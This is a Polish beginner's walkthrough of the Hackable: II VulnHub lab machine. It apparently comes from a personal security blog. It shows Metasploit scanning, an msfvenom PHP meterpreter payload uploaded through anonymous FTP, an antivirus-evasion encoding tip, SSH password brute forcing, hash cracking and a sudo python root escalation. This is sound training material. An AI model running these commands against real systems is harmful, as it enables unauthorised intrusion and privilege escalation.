Hackable: II
Write-up is in Polish language.
Metainfo
Nazwa: | Hackable: II |
Autor: | Elias-sousa |
Wypuszczony: | 2021-06-15 |
Do ściągnięcia: | Vulnhub |
Poziom: | Łatwy |
System: | Linux |
Nauczysz się: | Metasploit i moduły |
Wstęp
Hackable: II autora jest bardzo prostą maszyną do złamania, nawet prostszą niż wcześniej opisywany Hackathonctf-1. Dzisiaj oprzemy się głównie na Metasploicie, a z dodatkowych narzędzi postaramy się korzystać jak najmniej. Ten tutorial jest skierowany do bardzo początkujących. Jeżeli przejdziesz tę maszynę z pomocą tego wpisu, spróbuj jeszcze raz, tylko już samodzielnie.
Zaczynamy:
Tradycyjnie odpalamy Metasploita. Zakładam, że baza Metasploita na Postgresie jest już utworzona. to jest potrzebne, żeby zapisywać nasze wyniki. Inaczej nie stworzymy obszaru roboczego:
msf6 > workspace -a hackable2
[*] Added workspace: hackable2
[*] Workspace: hackable2
msf6 >
Skanujemy naszą maszynkę:
msf6 > db_nmap -A -p- 172.16.1.244
..........
..........
msf6 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.1.244 21 tcp ftp open ProFTPD
172.16.1.244 22 tcp ssh open OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 Ubuntu Linux; protocol 2.0
172.16.1.244 80 tcp http open Apache httpd 2.4.18 (Ubuntu)
Widać 3 otwarte porty. Sprawdźmy czy można wejść na FTP przez Anonymous:
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(scanner/ftp/anonymous) > set rhosts 172.16.1.244
rhosts => 172.16.1.244
msf6 auxiliary(scanner/ftp/anonymous) > run
[+] 172.16.1.244:21 - 172.16.1.244:21 - Anonymous READ/WRITE (220 ProFTPD Server (ProFTPD Default Installation) [172.16.1.244])
[*] 172.16.1.244:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Można wejść. Na FTP jest plik CALL.html, można też wrzucać swoje pliki, więc mamy podatność.
-rw-r--r-- 1 0 0 109 Nov 26 2020 CALL.html
SSH nie skanujemy. Na WWW jest strona z konfiguracją Apache. Tak, jak wspomniałem wcześniej, wykorzystujemy na maksa Metasploita, więc użyjmy plugin Wmap do przeskanowania stronki:
msf6 auxiliary(scanner/ftp/anonymous) > load wmap
.-.-.-..-.-.-..---..---.
| | | || | | || | || |-'
`-----'`-'-'-'`-^-'`-'
[WMAP 1.5.1] === et [ ] metasploit.com 2012
[*] Successfully loaded plugin: wmap
msf6 auxiliary(scanner/ftp/anonymous) > wmap_sites -a http://172.16.1.244
[*] Site created.
msf6 auxiliary(scanner/ftp/anonymous) >
msf6 auxiliary(scanner/ftp/anonymous) > wmap_run -e
[*] Using ALL wmap enabled modules.
[-] NO WMAP NODES DEFINED. Executing local modules
[*] Testing target:
[*] Site: 172.16.1.244 (172.16.1.244)
[*] Port: 80 SSL: false
..........
..........
Zobaczmy co nam Wmap znalazł:
msf6 auxiliary(scanner/ftp/anonymous) > wmap_vulns -l
[*] + [172.16.1.244] (172.16.1.244): scraper /
[*] scraper Scraper
[*] GET Apache2 Ubuntu Default Page: It works
[*] + [172.16.1.244] (172.16.1.244): directory /files/
[*] directory Directory found.
[*] GET Res code: 404
[*] + [172.16.1.244] (172.16.1.244): directory /icons/
[*] directory Directory found.
[*] GET Res code: 403
[*] + [172.16.1.244] (172.16.1.244): file /index.html
[*] file File found.
[*] GET Res code: 404
[*] + [172.16.1.244] (172.16.1.244): file /files
[*] file File found.
[*] GET Res code: 301
Voilà – jest katalog files, a w nim plik CALL.html, tak jak na było FTP. To jest to samo, tylko widoczne z innych źródeł. Wchodząc na http://172.16.1.244/files/CALL.html nic ciekawego nie znajdziemy, chociaż w tytule strony jest onion. Nazwa nam nic nie mówi. Jednak wychodzi, że strona WWW jest powiązana z FTP. Przez FTP wrzucamy plik, a przez WWW go odpalamy. Oczywiście do tego użyjemy Metasploita (oprócz wrzutki przez FTP). Najlepsze ładunki są z ładunkiem Meterpretera, więc ich szukajmy:
# root@kali:~# msfvenom -p php/meterpreter/bind_tcp LPORT=5555 > php_meterpreter_bind_tcp.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1338 bytes
Jeżeli nam Windows wykryje, że ten ładunek to wirus, to należy go zaciemnić i potem wyedytować plik: na początku dodać <?php, na końcu ?>
# root@kali:~# msfvenom -e php/base64 -p php/meterpreter/bind_tcp LPORT=5555 > php_meterpreter_bind_tcp.php
Do katalogu files wrzucamy php_meterpreter_bind_tcp.php, ale zanim odświeżymy i uruchomimy na stronie, to załadujmy nasz ładunek i exploita w Msfconsole:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/bind_tcp
payload => php/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > set rhost 172.16.1.244
rhost => 172.16.1.244
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (php/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 5555 yes The listen port
RHOST 172.16.1.244 no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started bind TCP handler against 172.16.1.244:5555
[*] Sending stage (39282 bytes) to 172.16.1.244
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.16.1.244:5555) at 2021-07-29 21:39:28 +0200
sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter php/linux www-data (33) @ ubuntu 0.0.0.0:0 -> 172.16.1.244:5555 (172.16.1.244)
Najlepiej użyć tego samego ładunku do Metasploita i ten, co wrzucamy na atakowany serwer. (Zadanie dla czytelnika. Spróbuj sam stworzyć ładunek i się połączyć, ale tym razem przez payload/php/meterpreter_reverse_tcp).
Mamy sesję i możemy eksplorować podatny serwer. Teraz użyjemy modułów powłamaniowych, żeby ściągnąć trochę informacji na nasz komputer. Użyjemy dwóch modułów:
- post/linux/gather/enum_system
- post/linux/gather/enum_users_history
msf6 exploit(multi/handler) > use post/linux/gather/enum_system
msf6 post(linux/gather/enum_system) > show options
Module options (post/linux/gather/enum_system):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
msf6 post(linux/gather/enum_system) > set session 1
session => 1
msf6 post(linux/gather/enum_system) > run
[!] SESSION may not be compatible with this module (missing Meterpreter features: core commands)
[+] Info:
[+] Ubuntu 16.04.7 LTS
[+] Linux ubuntu 4.4.0-194-generic #226-Ubuntu SMP Wed Oct 21 10:19:36 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
[+] Module running as "www-data" user
[*] Linux version stored in /root/.msf4/loot/20210729214801_default_172.16.1.244_linux.enum.syste_823874.txt
[*] User accounts stored in /root/.msf4/loot/20210729214801_default_172.16.1.244_linux.enum.syste_792608.txt
[*] Installed Packages stored in /root/.msf4/loot/20210729214801_default_172.16.1.244_linux.enum.syste_940047.txt
[*] Running Services stored in /root/.msf4/loot/20210729214801_default_172.16.1.244_linux.enum.syste_790666.txt
[*] Cron jobs stored in /root/.msf4/loot/20210729214801_default_172.16.1.244_linux.enum.syste_485080.txt
[*] Disk info stored in /root/.msf4/loot/20210729214801_default_172.16.1.244_linux.enum.syste_296708.txt
[*] Logfiles stored in /root/.msf4/loot/20210729214801_default_172.16.1.244_linux.enum.syste_341841.txt
[*] Setuid/setgid files stored in /root/.msf4/loot/20210729214801_default_172.16.1.244_linux.enum.syste_709424.txt
[*] CPU Vulnerabilities stored in /root/.msf4/loot/20210729214802_default_172.16.1.244_linux.enum.syste_388295.txt
[*] Post module execution completed
msf6 post(linux/gather/enum_system) > loot
komenda loot pozwala nam wyświetlić, to co ściągnęliśmy.
w pliku 20210729214957_default_172.16.1.244_linux.enum.syste_656649.txt mamy użytkowników z podatnej maszyny
moduł post/linux/gather/enum_users_history sciagnie nam plik Sudoers
Moduł auxiliary/scanner/ssh/ssh_login pozwala nam dosyć pobieżnie przeskanować użytkowników i przy okazji ustawić sesję, jeżeli login i hasło będą poprawnę. Również może się przydać do ustawienia sesji w Metasploicie, jeżeli znamy tylko login i hasło. Sprawdźmy czy użytkownicy mają jakieś słabe hasła na systemie. Niestety ten moduł jest dosyć wolny, ale może coś znajdziemy. W parametrach podajemy, żeby używał hasła jako loginu, również podajemy ścieżkę do pliku gdzie zostali zapisani użytkownicy z obrazu hackable II. Verbose należy ustawić na yes, wtedy widać na bieżąco pracę modułu.
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 172.16.1.244:22 - Starting bruteforce
[-] 172.16.1.244:22 - Failed: 'root:root'
[!] No active DB -- Credential data will not be saved!
[-] 172.16.1.244:22 - Failed: 'root:'
[-] 172.16.1.244:22 - Failed: 'daemon:daemon'
[-] 172.16.1.244:22 - Failed: 'daemon:'
[-] 172.16.1.244:22 - Failed: 'bin:bin'
[-] 172.16.1.244:22 - Failed: 'bin:'
[-] 172.16.1.244:22 - Failed: 'sys:sys'
[-] 172.16.1.244:22 - Failed: 'sys:'
[-] 172.16.1.244:22 - Failed: 'sync:sync'
[-] 172.16.1.244:22 - Failed: 'sync:'
[-] 172.16.1.244:22 - Failed: 'games:games'
[-] 172.16.1.244:22 - Failed: 'games:'
[-] 172.16.1.244:22 - Failed: 'man:man'
[-] 172.16.1.244:22 - Failed: 'man:'
[-] 172.16.1.244:22 - Failed: 'lp:lp'
[-] 172.16.1.244:22 - Failed: 'lp:'
[-] 172.16.1.244:22 - Failed: 'mail:mail'
[-] 172.16.1.244:22 - Failed: 'mail:'
[-] 172.16.1.244:22 - Failed: 'news:news'
[-] 172.16.1.244:22 - Failed: 'news:'
[-] 172.16.1.244:22 - Failed: 'uucp:uucp'
[-] 172.16.1.244:22 - Failed: 'uucp:'
[-] 172.16.1.244:22 - Failed: 'proxy:proxy'
[-] 172.16.1.244:22 - Failed: 'proxy:'
[-] 172.16.1.244:22 - Failed: 'www-data:www-data'
[-] 172.16.1.244:22 - Failed: 'www-data:'
[-] 172.16.1.244:22 - Failed: 'backup:backup'
[-] 172.16.1.244:22 - Failed: 'backup:'
[-] 172.16.1.244:22 - Failed: 'list:list'
[-] 172.16.1.244:22 - Failed: 'list:'
[-] 172.16.1.244:22 - Failed: 'irc:irc'
[-] 172.16.1.244:22 - Failed: 'irc:'
[-] 172.16.1.244:22 - Failed: 'gnats:gnats'
[-] 172.16.1.244:22 - Failed: 'gnats:'
[-] 172.16.1.244:22 - Failed: 'nobody:nobody'
[-] 172.16.1.244:22 - Failed: 'nobody:'
[-] 172.16.1.244:22 - Failed: 'systemd-timesync:systemd-timesync'
[-] 172.16.1.244:22 - Failed: 'systemd-timesync:'
[-] 172.16.1.244:22 - Failed: 'systemd-network:systemd-network'
[-] 172.16.1.244:22 - Failed: 'systemd-network:'
[-] 172.16.1.244:22 - Failed: 'systemd-resolve:systemd-resolve'
[-] 172.16.1.244:22 - Failed: 'systemd-resolve:'
[-] 172.16.1.244:22 - Failed: 'systemd-bus-proxy:systemd-bus-proxy'
[-] 172.16.1.244:22 - Failed: 'systemd-bus-proxy:'
[-] 172.16.1.244:22 - Failed: 'syslog:syslog'
[-] 172.16.1.244:22 - Failed: 'syslog:'
[-] 172.16.1.244:22 - Failed: '_apt:_apt'
[-] 172.16.1.244:22 - Failed: '_apt:'
[-] 172.16.1.244:22 - Failed: 'lxd:lxd'
[-] 172.16.1.244:22 - Failed: 'lxd:'
[-] 172.16.1.244:22 - Failed: 'messagebus:messagebus'
[-] 172.16.1.244:22 - Failed: 'messagebus:'
[-] 172.16.1.244:22 - Failed: 'uuidd:uuidd'
[-] 172.16.1.244:22 - Failed: 'uuidd:'
[-] 172.16.1.244:22 - Failed: 'dnsmasq:dnsmasq'
[-] 172.16.1.244:22 - Failed: 'dnsmasq:'
[-] 172.16.1.244:22 - Failed: 'shrek:shrek'
[-] 172.16.1.244:22 - Failed: 'shrek:'
[+] 172.16.1.244:22 - Success: 'ftp:ftp' 'Could not chdir to home directory /home/ftp: No such file or directory uid=1001(ftp) gid=1001(ftp) groups=1001(ftp) Could not chdir to home directory /home/ftp: No such file or directory Linux ubuntu 4.4.0-194-generic #226-Ubuntu SMP Wed Oct 21 10:19:36 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 7 opened (172.16.1.10:39345 -> 172.16.1.244:22) at 2021-07-29 20:06:46 +0200
[-] 172.16.1.244:22 - Failed: 'colord:colord'
[-] 172.16.1.244:22 - Failed: 'colord:'
[-] 172.16.1.244:22 - Failed: 'sshd:sshd'
[-] 172.16.1.244:22 - Failed: 'sshd:'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Wchodzimy na serwer
Użytkownik ftp ma hasło ftp Mamy też na to sesję. Żeby połączyć się z wygodnym Meterpreterem użyjemy modułu multi/manage/shell_to_meterpreter. W module wpisujemy nr sesji. Teraz już zwykłe szukanie dziury w całym… ;) W katalogu /home jest plik important.txt. W nim zaś zawartość:
important.txt
run the script to see the data /.runme.sh
Zobaczmy co to za plik:
.runme.sh
echo 'the secret key' sleep 2 echo 'is' sleep 2 echo 'trolled' sleep 2 echo 'restarting computer in 3 seconds...' sleep 1 echo 'restarting computer in 2 seconds...' sleep 1 echo 'restarting computer in 1 seconds...' sleep 1 echo '⡴⠑⡄⠀⠀⠀⠀⠀⠀⠀ ⣀⣀⣤⣤⣤⣀⡀ ⠸⡇⠀⠿⡀⠀⠀⠀⣀⡴⢿⣿⣿⣿⣿⣿⣿⣿⣷⣦⡀ ⠀⠀⠀⠀⠑⢄⣠⠾⠁⣀⣄⡈⠙⣿⣿⣿⣿⣿⣿⣿⣿⣆ ⠀⠀⠀⠀⢀⡀⠁⠀⠀⠈⠙⠛⠂⠈⣿⣿⣿⣿⣿⠿⡿⢿⣆ ⠀⠀⠀⢀⡾⣁⣀⠀⠴⠂⠙⣗⡀⠀⢻⣿⣿⠭⢤⣴⣦⣤⣹⠀⠀⠀⢀⢴⣶⣆ ⠀⠀⢀⣾⣿⣿⣿⣷⣮⣽⣾⣿⣥⣴⣿⣿⡿⢂⠔⢚⡿⢿⣿⣦⣴⣾⠸⣼⡿ ⠀⢀⡞⠁⠙⠻⠿⠟⠉⠀⠛⢹⣿⣿⣿⣿⣿⣌⢤⣼⣿⣾⣿⡟⠉ ⠀⣾⣷⣶⠇⠀⠀⣤⣄⣀⡀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇ ⠀⠉⠈⠉⠀⠀⢦⡈⢻⣿⣿⣿⣶⣶⣶⣶⣤⣽⡹⣿⣿⣿⣿⡇ ⠀⠀⠀⠀⠀⠀⠀⠉⠲⣽⡻⢿⣿⣿⣿⣿⣿⣿⣷⣜⣿⣿⣿⡇ ⠀⠀ ⠀⠀⠀⠀⠀⢸⣿⣿⣷⣶⣮⣭⣽⣿⣿⣿⣿⣿⣿⣿⠇ ⠀⠀⠀⠀⠀⠀⣀⣀⣈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇ ⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ shrek:cf4c2232354952690368f1b3dfdfb24d'
Na samym dole jest hasło. Hashcat i słownik rockyou.txt szybko się z nim uporają. Hasło to onion, ale przecież to było w tytule strony http://172.16.1.244/files/CALL.html. Proste maszyny do złamania czasami są bardzo proste.
Wchodzimy na konto shreka.
# cat user.txt
Wyświetli się obrazek (sam zobacz jaki ). Jeszcze zostało wejść na roota. Mamy plik Sudoers, a tam jest taka ciekawa linijka:
Sudoers
... %shrek ALL = NOPASSWD:/usr/bin/python3.5 ...
Program python3.5 ma uprawnienia roota, ale tylko z grupy shrek. Trzeba to wykorzystać.
-rwxr-xr-x 2 root root 4460304 Oct 9 2020 /usr/bin/python3.5
Najpierw należy się połączyć na sesję nr 10. Tam wpisujemy shell. Bez Shella nie odpali się nam Sudo:
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 shell linux SSH ftp:ftp (172.16.1.244:22) 172.16.1.10:41053 -> 172.16.1.244:22 (172.16.1.244)
10 shell linux SSH shrek:onion (172.16.1.244:22) 172.16.1.10:44865 -> 172.16.1.244:22 (172.16.1.244)
msf6 auxiliary(scanner/ssh/ssh_login) > sessions 10
[*] Starting interaction with 10...
sudo: no tty present and no askpass program specified
shell
[*] Trying to find binary 'python' on the target machine
[-] python not found
[*] Trying to find binary 'python3' on the target machine
[*] Found python3 at /usr/bin/python3
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
# root@ubuntu:~# sudo python3.5 -c 'import os; os.system("/bin/bash");'
# sudo python3.5 -c 'import os; os.system("/bin/bash");'
# root@ubuntu:~# id
# id
uid=0(root) gid=0(root) groups=0(root)
# root@ubuntu:~# cat /root/root.txt
Wyświetli się obrazek. Jednak wolałbym użyć dodatkowych narzędzi, ale chciałem pokazać siłę Metasploita. Jeżeli się podobał wpis napisz na kerszi@protonmail.com lub skomentuj (jeżeli się da).
Zostaw komentarz